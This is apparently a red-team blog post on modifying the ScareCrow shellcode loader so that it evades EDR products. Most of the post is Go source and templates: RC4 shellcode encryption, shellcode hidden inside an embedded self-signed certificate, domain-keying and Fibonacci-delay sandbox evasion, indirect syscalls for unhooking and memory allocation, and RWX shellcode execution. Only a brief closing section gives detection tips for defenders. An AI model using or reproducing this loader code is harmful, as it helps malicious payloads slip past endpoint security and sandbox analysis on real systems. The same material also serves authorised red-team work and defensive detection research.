EDR Evasion Part II: Your very own Scarecrow
Introduction
In the previous post I talked about Scarecrow, how it works and what we can learn from it.
I already alluded to some of the changes that we can apply to make it our own, this post will go into detail about how to do that through a couple examples that I have implemented.
Changing the code
Now before we dive deeper I think it’s important to understand why. Public tools, once they gather popularity will always make their way back around to security vendors who will analyze the code and find ways to alert on it. Alerts can be based on static indicators - such as byte segments that remain the same across different payloads - or behavioral, something in execution that positively identifies Scarecrow. More often than not it is a combination of these things.
The changes here make this particular fork a little more resilient, but only until EDRs inevitably start flagging on the code changes. This is also the reason why these changes are not sitting in a pull request to be pushed back to the main repository. It doesn’t make Scarecrow better, it just makes it different enough from the original to regain its previous effectiveness:
“Whatever doesn’t kill you simply makes you stranger.” - Joker (To keep in line with Tyl0us’s DC villain theatre naming)
But if you can take the approach to heart, you can come away with some ideas of your own that can fuel your own custom setup. And if you’ve been relying on public tooling to get you through red team campaigns then this is a good step up in capabilities.
A side-note on perfectionism
I originally started writing this post in December of 2022. I tried tricking myself by clearly labeling the previous entry as part 1 of multiples to force myself to publish it faster. Looking at the timestamp, by january I genuinely had it 80% written. But extra ideas on ‘cleaning up’ the code and adding extra details meant I suddenly kept pushing it further out, while I started going down all new rabbit holes at work (and taking on the OSED exam at one point too).
In the meantime Tylous released a new version that already includes some of the changes mentioned here such as adding RC4
encryption and many others I did not event implement. I’m putting this note here to say to myself (as well as anyone else suffering from this), that perfection is a visage. It’s okay to aim for good enough and improve it from there.
To combat my tendencies I decided to keep my original post in place, so the below are relevant for ScareCrow version 4 but I’m adding some extra flavor for the latest ScareCrow release too at the end.
Modifications at a high-level
So let’s go through these changes:
- Adding RC4 encryption support
- Changing how the payload is stored to avoid some of the static/dynamic indicators
- Adding domain-keying for sandbox evasion
- Adding a calculation routine for sandbox evasion
As a +1, changing the direct syscall to use ‘sysWhispers3’ and/or changing the AMSI/ETW patch is another big win opportunity. I will show one such change that takes advantage of indirect syscalls in the latest ScareCrow version and applying it globally.
Shellcode encryption
In order to modify the encryption routine I had to make the code a bit more modular. First of all I created a new parameter I can pass as argument to select the encryption routine.
To do this I added a new flag to FlagOptions
in ScareCrow.go
:
type FlagOptions struct {
...
encryptionType string
}
encryptionType := flag.String("encryptionType", "aes", `Sets the encryption type for the shellcode:
[*] rc4 - Uses RC4 encryption to avoid flags for AES usage
[*] aes - Uses default AES encryption.`)
flag.Parse()
return &FlagOptions{..., encryptionType: *encryptionType}
The new string argument can now be called with opt.encryptionType
. In the original code, from line 203 the shellcode is read from disk and then AES encrypted. We will need to make a check here:
src, _ := ioutil.ReadFile(opt.inputFile)
if opt.encryptionType == "aes" {
b64key, b64iv, cipherText = Utils.AESEncryptShellcode(src)
} else if opt.encryptionType == "rc4" {
b64key, cipherText = Utils.RC4EncryptShellcode(src)
} else {
b64key, b64iv, cipherText = Utils.AESEncryptShellcode(src)
}
Two important changes to highlight. In the original code the shellcode is first hex encoded then base64 encoded. This base64 string is what ultimately gets encrypted. I decided to directly encrypt the shellcode which makes the final size smaller (Update note: This is now fixed in the latest version of ScareCrow). The other of course is the new call into the Utils.<AES|RC4>EncryptShellcode
function. I moved the encryption routine into Utils
to make future updates easier.
The RC4 encryption is fairly simple to implement. It takes a raw byte array and with a randomly generated key, encrypts the stream. The key is base64 encoded and passed back along with the ciphertext.
func RC4EncryptShellcode(rawbyte []byte) (string, []byte) {
key := Cryptor.RandomBuffer(32)
c, err := rc4.NewCipher([]byte(key))
if err != nil {
log.Fatalln(err)
}
dst := make([]byte, len(rawbyte))
c.XORKeyStream(dst, rawbyte)
b64key := base64.StdEncoding.EncodeToString(key)
return b64key, dst
}
The AES encryption was moved into its new location as well but otherwise left untouched. It returns the IV
on top of the key and ciphertext.
Now that the shellcode is encrypted, we have to modify the other end of the equation and make sure we actually decrypt it properly upon execution. To do this I passed everything along to the Loader.CompileFile
which will handle the loader generation:
embedfilename := Utils.ShellcodeToCert(cipherText)
name, filename := Loader.CompileFile(embedfilename, b64key, b64iv, opt.encryptionType, opt.LoaderType, opt.outFile, opt.refresher, opt.console, opt.sandbox, opt.sandboxDomain, opt.ETW, opt.ProcessInjection, opt.sleep, opt.sleepType, opt.AMSI)
To keep things simple, the b64iv
is passed, even if we don’t use it. The encryptionType
string is passed along as well. From CompileFile
I passed these arguments along to Shellcode_Buff
because I needed access to it in Struct.go
in order to determine which decryption routine to add to the payload.
The Utils.ShellcodeToCert
is another new function that wraps the shellcode in a resource file, but this will be touched upon later. For now, let’s continue with the encryption changes.
Struct changes
As we now know the actual payload code is sitting in Struct.go
, and Loader.go
handles the templatization, filling in the variables. This means that in Shellcode_Buff
we now add a branching statement to pick the right decryption routine.
if encryptionType == "aes" {
Shellcode.Variables["crypto_import"] = `"crypto/aes"
"crypto/cipher"`
Shellcode.Variables["iv"] = b64iv
Shellcode.Variables["viv"] = Cryptor.VarNumberLength(10, 19)
ShellcodeTemplate, err := template.New("Shellcode").Parse(Struct.AESDecrypt_Function())
...
} else if encryptionType == "rc4" {
Shellcode.Variables["crypto_import"] = `"crypto/rc4"`
ShellcodeTemplate, err := template.New("Shellcode").Parse(Struct.RC4Decrypt_Function())
...
}
Go is very particular about unused imports. Therefore I added a crypto_import
variable which allows me to import the necessary packages. In the case of AES I also pass the IV (the key is passed outside the if statement since both encryption routines make use of it).
We are almost there, the last place of change is in Struct.go
. Of course I had to rename the Decrypt_Function
to AESDecrypt_Function
and create an RC4 decryption template as well.
If we take a look at the decryption routine, we need a function that takes a ciphertext and key, decrypts it and passes back the plaintext in its return statement.
Because earlier I removed the hex and base64 encoding during the encryption step, I have to do the same here. That means these lines are removed from the original:
{{.Variables.rawdata}} := (string({{.Variables.stuff}}))
{{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
{{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
Instead I return the raw byte array from stuff
that will hold the plaintext shellcode. The RC4 decryption function is as follows:
func RC4Decrypt_Function() string {
return `
func {{.Variables.FuncName}}() []byte {
cpb, _ := pem.Decode({{.Variables.EmbeddedFileVar}})
cert, _ := x509.ParseCertificate(cpb.Bytes)
{{.Variables.vciphertext}} := cert.SubjectKeyId
{{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
{{.Variables.mode}}, _ := rc4.NewCipher([]byte({{.Variables.vkey}}))
{{.Variables.stuff}} := make([]byte, len({{.Variables.vciphertext}}))
{{.Variables.mode}}.XORKeyStream({{.Variables.stuff}}, {{.Variables.vciphertext}})
return {{.Variables.stuff}}
}`
}
All variables will be filled out by Loader.go
such as putting the base64-encoded key inside the DecodeString
function.
Once we recompile our application we can take advantage of the new encryption routine. If you wish, you can now add any other methods or may god forgive roll your own crypto in here.
Notably the decryption routine you see above is working with a pem
library and getting the ciphertext from a certificate. I will focus on this implementation next.
Payload storage
The original version stores the payload in a concatenated list of base64 encoded strings.
To refresh how this is happening, look inside Shellcode_Buff
in Loader.go
where Utils.B64ripper
is called.
This variable is then base64 decoded to get the ciphertext in Struct.go
:
{{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
As an exercise I decided to make use of resources. Not a novel concept in any way (for another quick example see iredteam’s example), but to make it a little more interesting I chose to add in a valid certificate and stash the ciphertext in one of its fields.
The certificate file is created inside Utils.ShellcodeToCert
. The key lines from it are as follows:
func ShellcodeToCert(encryptedshellcode []byte) string {
privateKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
log.Fatalf("Failed to generate private key: %v", err)
}
...
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Organization: []string{"Secure Org. Limited"},
},
NotBefore: notBefore,
NotAfter: notAfter,
KeyUsage: keyUsage,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
SubjectKeyId: encryptedshellcode,
}
derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey)
var filename = Cryptor.VarNumberLength(10, 19) + ".pem"
certOut, err := os.Create(filename)
...
return filename
}
A private key is generated along with a certificate template. When looking at the certificate structure
in Go, I selected SubjectKeyId
at random since it is a byte array. After a quick test, I confirmed that there is no size limitation so this is a perfect place to store the ciphertext. The filename is randomly generated and then saved to disk temporarily.
This filename is then passed along to Shellcode_Buff
just like before. Here, two new variables are created for the template:
Shellcode.Variables["EmbeddedFileVar"] = Cryptor.VarNumberLength(10, 19)
Shellcode.Variables["EmbeddedFile"] = embedfilename
In order to embed a file as a resource in Go you need to use the go:embed
decorator.
Originally this shellcode loader is inside loader.zip
. The string Shellcodefunc
is replaced with the decryption function in Loader.go
. To make it easier to make changes I decided to move a bigger part of this shellcode function into Struct.go
in a new function:
func Shellcode_Function() string {
return `
import (
{{.Variables.crypto_import}}
"encoding/base64"
{{.Variables.HEX_Import}}
"crypto/x509"
"encoding/pem"
)
import _ "embed"
//go:embed {{.Variables.EmbeddedFile}}
var {{.Variables.EmbeddedFileVar}} []byte
func main() {
}
{{.Variables.DecryptFunc}}
`
}
This way I get to control the import statements as well as the embedded resource file. For my changes I made the resource embed method mandatory. But with a few extra lines and templating, you could make this behavior optional as well and have an argument that sets how the encrypted shellcode is stored.
Finally, in order for the embed operation to succeed, the certificate file needs to be placed right alongside the loader go file. This is unzipped by Loader.CompileFile
from loader.zip
:
Utils.Unzip("loader.zip", name)
Utils.FileMover(embedfilename, name+"/loader")
Sandbox Evasion
This next section focuses more on sandbox evasion by adding two defenses to Scarecrow. Let’s start with domain-keying since it will be quick. In the original version the Sandbox
function in Struct.go
makes sure the machine is domain-joined before executing. This is done with the NetGetJoinInformation
Win32 API.
If we look at the API on MSDN it’s clear that apart from the join status of the machine it actually outputs the domain name as well (if there is one).
Domain-keying
So I added two new functions in Struct.go
(you could just as easily modify the existing one but I wanted to make sure the original version works without interruption):
//Newly added function should return the domain of the call
func Sandbox_DomainSpecific() string {
return `
func {{.Variables.IsDomainJoined}}() (string, error) {
var {{.Variables.domain}} *uint16
var {{.Variables.status}} uint32
err := syscall.NetGetJoinInformation(nil, &{{.Variables.domain}}, &{{.Variables.status}})
if err != nil {
return "", err
}
domainresult := windows.UTF16PtrToString({{.Variables.domain}})
syscall.NetApiBufferFree((*byte)(unsafe.Pointer({{.Variables.domain}})))
return domainresult, nil
}
`
}
func Sandbox_DomainSpecificJoined() string {
return `
var {{.Variables.domainresult}} string
{{.Variables.domainresult}}, _ = {{.Variables.IsDomainJoined}}()
if "{{.Variables.sandboxdomain}}" == {{.Variables.domainresult}} {
} else {
os.Exit(3)
}`
}
Sandbox_DomainSpecificJoined
calls the IsDomainJoined
function and puts the output in domainresult
. This is checked against the sandboxdomain
variable and if they do not match the process exits. The IsDomainJoined
function remains the same but instead of returning a boolean, it now stores the output buffer of the call (which holds the domain name) and passes that back.
Now in Loader.go
both the DLLfile
and Binaryfile
functions must be updated. Where it checks if the sandbox
is true, I added an extra check for when sandboxdomain
was also specified.
if sandbox == true && sandboxdomain != "" {
DLL.Variables["SandboxOS"] = `"os"`
DLL.Variables["IsDomainJoined"] = Cryptor.VarNumberLength(10, 19)
DLL.Variables["domain"] = Cryptor.VarNumberLength(10, 19)
DLL.Variables["status"] = Cryptor.VarNumberLength(10, 19)
DLL.Variables["domainresult"] = Cryptor.VarNumberLength(10, 19)
SandboxFunctionTemplate, err := template.New("Sandboxfunction").Parse(Struct.Sandbox_DomainSpecific())
if err != nil {
log.Fatal(err)
}
if err := SandboxFunctionTemplate.Execute(&buffer, DLL); err != nil {
log.Fatal(err)
}
DLL.Variables["Sandboxfunction"] = buffer.String()
DLL.Variables["sandboxdomain"] = sandboxdomain
Sandbox_DomainJoinedTemplate, err := template.New("Sandbox_DomainJoined").Parse(Struct.Sandbox_DomainSpecificJoined())
buffer.Reset()
if err != nil {
log.Fatal(err)
}
if err := Sandbox_DomainJoinedTemplate.Execute(&buffer, DLL); err != nil {
log.Fatal(err)
}
DLL.Variables["Sandbox"] = buffer.String()
buffer.Reset()
} else if sandbox == true {
A new template is created and parses the function from Struct
, then using the DLL variables it exchanges the placeholder template variables with the generated (or passed) values.
Of course this means a new argument has to be setup that I named sandboxDomain
in ScareCrow.go
. If used, it will make sure Scarecrow only executes when the domain matches the name set. This argument has to be passed from Scarecrow.go
all the way down to CompileFile
again (just like we did with the encryption type).
Better sleep
Hopefully by this point you are navigating the functions with more confidence so this last section is a quick one.
In the original Struct.Binary
function there is a short sleep delay:
time.Sleep({{.Variables.SleepSecond}} * time.Millisecond)
This aims to delay the execution of our malicious actions which can help separate IoCs and keep our payload alive. Since Sleep
is so often used for this purpose, a common technique that popped up over the years is to perform some benign action that takes X seconds/minutes to complete before continuing with the main attraction. This hopefully gives enough time for cloud sandboxes to time out and rate us as benign as well as EDRs to stop heavily monitoring the running process.
For my implementation I ripped the original sleep delay into a new function in Struct.go
and then implemented my version SleepFib
:
func SleepFib() string {
return `
func {{.Variables.DelayFunctionName}}(n int64) int64 {
if n < 2 {
return n
}
return {{.Variables.DelayFunctionName}}(n-2) + {{.Variables.DelayFunctionName}}(n-1)
}
`
}
//Simple Go Sleep time for x seconds
func SleepTime() string {
return `
func {{.Variables.DelayFunctionName}}(n int64) {
time.Sleep(time.Duration(n) * time.Millisecond)
}
`
}
SleepFib
is a fibonacci calculator that calculates the sum of n
numbers in the sequence. The exact implementation of course is not important.
This DelayFunctionName
is then added to the DLL
and Binary
templates in Struct.go
in place of the original Sleep
calls:
{{.Variables.DelayFunctionName}}({{.Variables.DelayStep}})
In both cases a DelayStep
value is specified. I did it this way to keep the arguments consistent. Once again I tried to approach this in a modular way so that other sleep functions can be added in time to change up the behavior.
Quiz time, you modified the template in Struct.go
, where do you go next? If you answered Loader.go
you are getting the hang of this.
if Sleep == false {
if SleepType == "fibonacci" {
DLL.Variables["DelayStep"] = "47"
DLL.Variables["Time_Import"] = ``
DelayFunctionTemplate, err := template.New("DelayFunction").Parse(Struct.SleepFib())
...
} else {
DLL.Variables["DelayStep"] = strconv.Itoa(Cryptor.GenerateNumer(2460, 3850))
fmt.Println("[+] Sleep Timer set for " + DLL.Variables["DelayStep"] + " milliseconds ")
DelayFunctionTemplate, err := template.New("DelayFunction").Parse(Struct.SleepTime())
...
}
...
I left just the important parts of the code snippet. If SleepType
is fibonacci the DelayStep
is going to be 47. This is a random number I chose that happens to run for around 30 seconds on a modern PC. The SleepFib
structure is used to fill in the delay template. Otherwise we are reverting to the original Sleep
and retaining the 2-4 seconds random sleep.
Finally SleepType
is once again passed down from Scarecrow.go
where a new argument was created.
ScareCrow version 5
With the latest release of ScareCrow, the code was updated with new capabilities and refactored in many places. All the overall suggestions will still work but some parts of the code can look different. The code has been cleaned up, especially around the payload structures (Struct.go
) which I highly appreciated.
When you whisper too loud
In version 4, the assembly code handling the memory protection changes did not change between compilations and used a direct SYSCALL
instruction to boot. These can be pretty harsh indicators:
Normal applications do not include calls to SYSCALL
therefore this is a prime indicator.
There are a couple options to combat this. We can reimplement the assembly code and use something like sysWhispers3
, implementing indirect syscalls or remove the syscall entirely.
At the time I opted to remove syscalls which was the easier option. Losing the direct syscall made the code a bit less advanced but I balanced this by adding indirect syscalls to Cobalt Strike instead. (Coincidentally Cobalt Strike now also includes indirect syscalls out of the box but did not at the time).
I will never be direct again
However in version 5, one of the changes Tylous introduced was an indirect syscall option when unhooking EDR’s:
“ScareCrow use indirect Syscalls to call NtProtectVirtualMemory and change the permissions of the DLL’s
.text
memory section to allow Scarecrow to overwrite the EDR’s hooks before restoring permissions.”
Without going into detail about exactly how this works, an indirect syscall means that instead of directly adding a SYSCALL
instruction to our assembly code, we find a memory address inside NTDLL.DLL
that points to a SYSCALL
instruction.
Since these calls should come from inside NTDLL.DLL
normally as well, it will look less out of place for EDRs. The only thing we have to make sure is that all registers are set correctly before we jump to the address. Meaning all parameters for the function as well as the correct syscall number corresponding to the function we want to call are set.
I thought, if we can add indirect syscalls then why use it only for EDR unhooking instead of replacing all instances of direct syscalls.
First I had to remove the original NtProtectVirtualMemory
and Allocate
functions from the assembly code because the latest version still included the direct syscall instruction in them.
Instead the NtOpenSection
function will take care of calling the required syscall with the correct parameters.
This is set up in loader.go
(not to be confused with uppercase Loader.go
, this file is located inside the base64 encoded ZIP file next to the assembly code):
func [NtProtectVirtualMemoryprep]([sysid] uint16, [processHandle] uintptr, [baseAddress], [regionSize] *uintptr, [NewProtect] uintptr, [oldprotect] *uintptr) (uint32, error) {
return NtProtectVirtualMemory(
[sysid],
[processHandle],
uintptr(unsafe.Pointer([baseAddress])),
uintptr(unsafe.Pointer([regionSize])),
[NewProtect],
uintptr(unsafe.Pointer([oldprotect])),
)
}
func [NtProtectVirtualMemoryJMPprep]([sysid] uint16, syscallA uintptr, [processHandle] uintptr, [baseAddress], [regionSize] *uintptr, [NewProtect] uintptr, [oldprotect] *uintptr) (uint32, error) {
return NtOpenSection(
[sysid],
syscallA,
[processHandle],
uintptr(unsafe.Pointer([baseAddress])),
uintptr(unsafe.Pointer([regionSize])),
[NewProtect],
uintptr(unsafe.Pointer([oldprotect])),
)
}
func Allocate(callid uint16, PHandle uint64, BaseA, ZeroBits, RegionSize, AllocType, Protect uintptr, nothing uint64) uintptr
func NtProtectVirtualMemory(callid uint16, argh ...uintptr) (errcode uint32, err error)
func NtOpenSection(callid uint16, syscallA uintptr, argh ...uintptr) (errcode uint32, err error)
We can see the difference by highlighting only the NtProtectVirtualMemory
functions here. The top one prepares the correct arguments
then calls the NtProtectVirtualMemory
function that leads to the assembly code with the direct syscall.
However if we use NtProtectVirtualMemoryJMPprep
then it uses NtOpenSection
. Don’t let the name confuse you, this is essentially the indirect syscall tramboline, setting up the correct arguments for the specific function,
as well as the correct syscall ID to use and then finally jumping to a SYSCALL
instruction inside NTDLL.DLL
.
If we follow the calls to NtProtectVirtualMemoryJMPprep
inside Struct.go
we find the KnownDLL_Refresh
and Disk_Refresh
functions, just as the documentation suggested.
The indirect syscall is used during unhooking only:
func Disk_Refresh() string {
...
{{.Variables.runfunc}}, _ := [loader].[NtProtectVirtualMemoryJMPprep](
{{.Variables.customsyscallVP}},
{{.Variables.Address}},
{{.Variables.handlez}},
(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
&{{.Variables.regionsize}},
0x40,
&{{.Variables.oldfartcodeperms}},
)
It fills in the correct syscall ID (Variables.customsyscallVP
), the memory address to a SYSCALL
instruction inside NTDLL.DLL
(Variables.Address
) and then adds the rest of the arguments.
In this case it uses the address to the .text
section of the DLLs you wish to unhook, then sets protection to RWX
(0x40
). This is required to overwrite the hooks in them.
You might already know that syscall numbers can change between Windows versions. Scarecrow is opting to use the simple approach of hardcoding the value in Loader.go
:
if {{.Variables.Version}} == "10" {
{{.Variables.customsyscallVP}} = 0x50
}
...
This is fine for Windows version 10 (or Server 2016) and up but if you would run into older Windows version you need to ensure compatibility.
You can look into how sysWhispers2/3
solves this issue as an example.
Now if you look at how the shellcode is written and executed the method is different. Taking Syscall_Alloc
as an example from Struct.go
(keep in mind there are multiple execution methods now in ScareCrow):
func Syscall_Alloc() string {
return `
func {{.Variables.FunctionName}}({{.Variables.raw_bin}} []byte){
var {{.Variables.phandle}} uint64
var {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
{{.Variables.phandle}} = 0xffffffffffffffff
{{.Variables.regionsizep}} := len({{.Variables.raw_bin}})
{{.Variables.regionsize}} := uintptr({{.Variables.regionsizep}})
{{.Variables.protect}} = 0x40
{{.Variables.alloctype}} = 0x3000
{{.Variables.AllocatingMessage}}
// [1] Memory allocation for shellcode
{{.Variables.ptr}} := [loader].[Allocate]({{.Variables.customsyscall}}, {{.Variables.phandle}}, {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.regionsize}}, {{.Variables.alloctype}}, {{.Variables.protect}}, 0)
{{.Variables.buff}} := (*[1890000]byte)(unsafe.Pointer({{.Variables.ptr}}))
// [2] Writing shellcode to memory
for x, y := range []byte({{.Variables.raw_bin}}) {
{{.Variables.buff}} [x] = y
}
{{.Variables.SyscallMessage}}
// [3] Running shellcode
syscall.Syscall({{.Variables.ptr}}, 0, 0, 0, 0,)
}
`
}
A direct syscall is used when allocating the memory section for the payload [loader].[Allocate]
. It also uses RWX
protections for simplicity.
We can improve this process by taking advantage of indirect syscalls. Let’s allocate memory using RW
protection, then use NtProtectVirtualMemory
with indirect syscalls to change protection back to RX
before execution.
Thanks to a good baseline in the code, all we need is to call NtAllocateVirtualMemory
the same way we do NtProtectVirtualMemory
.
First we need to look up the function syntax and set up the correct call in loader.go
(inside the base64 ZIP!):
func [NtAllocateVirtualMemoryprep]([sysid] uint16, [syscallA] uintptr, [processHandle] uintptr, [baseAddress], [zerobits] *uintptr, [regionSize] *uintptr, [AllocationType] uintptr, [ProtectionType] uintptr) (uint32, error) {
return NtOpenSection(
[sysid],
[syscallA],
[processHandle],
uintptr(unsafe.Pointer([baseAddress])),
uintptr(unsafe.Pointer([zerobits])),
uintptr(unsafe.Pointer([regionSize])),
[AllocationType],
[ProtectionType],
)
}
Then in Struct.go
we need to modify the Header
function by creating a new variable to hold the syscall ID for NtAllocateVirtualMemory
(syscall lookup):
if {{.Variables.Version}} == "10" {
{{.Variables.customsyscall}} = 0x18
{{.Variables.customsyscallVP}} = 0x50
}
...
Once again, keep in mind that the number might change for other Windows versions. Calling this new function is as simple as modifying the original [loader.Allocate]
call,
since the arguments are the same (apart from passing the syscall ID and syscall instruction memory address as the first two parameters).
{{.Variables.runfunc}}, _ := [loader].[NtAllocateVirtualMemoryprep](
{{.Variables.customsyscall}},
{{.Variables.Address}},
uintptr({{.Variables.phandle}}),
(*uintptr)(unsafe.Pointer(&{{.Variables.ptr}})),
&{{.Variables.zerob}},
&{{.Variables.regionsize}},
{{.Variables.alloctype}},
{{.Variables.protect}},
)
Now your shellcode is allocated using an indirect syscall. All that’s left to do is to change memory protections back to RX
on the page and execute it. I will leave this as an exercise for the reader.
Detection tips
Storing payloads in resources is nothing new and it is entirely possible that some EDRs will already flag on this. The trick of having a ‘valid’ certificate can make this work better but the sheer size of the certificate still poses an anomaly. A key detail here is the entropy of your loader. The higher it is, the more likely it is that an EDR will flag it as a packer. (Since it contains a bunch of noise, similar to encrypted data, maybe encrypted SHELLCODE? Well yes, in this case that is exactly it.)
Using encryption routines is another indicator that EDRs keep track of. While of course not malicious on its own, if the application suspiciously does not do much else, it will score higher.
As for the sandbox-evasion: domain-keying and using long mathematical calculations to delay the execution of our payload can be quite effective. There is also room for improvement here. For example, why not use the output of your calculations as (part of) the encryption key.
In this case, manual analysis and a human touch is needed to understand how the payload is keyed, to gently push it towards actual execution.
Analysis from EDRs can find the direct SYSCALL
instruction and terminate the process. Stack trace / call stack analysis can reveal the original caller is coming from a weird location. Whereas ’normal’ syscall operations
should roughly follow a call to a Win32 DLL (such as win32u.dll
/ ntdll.dll
), switching to kernel-mode then switching back. Indirect syscalls will therefore roughly match this pattern and provide better evasion.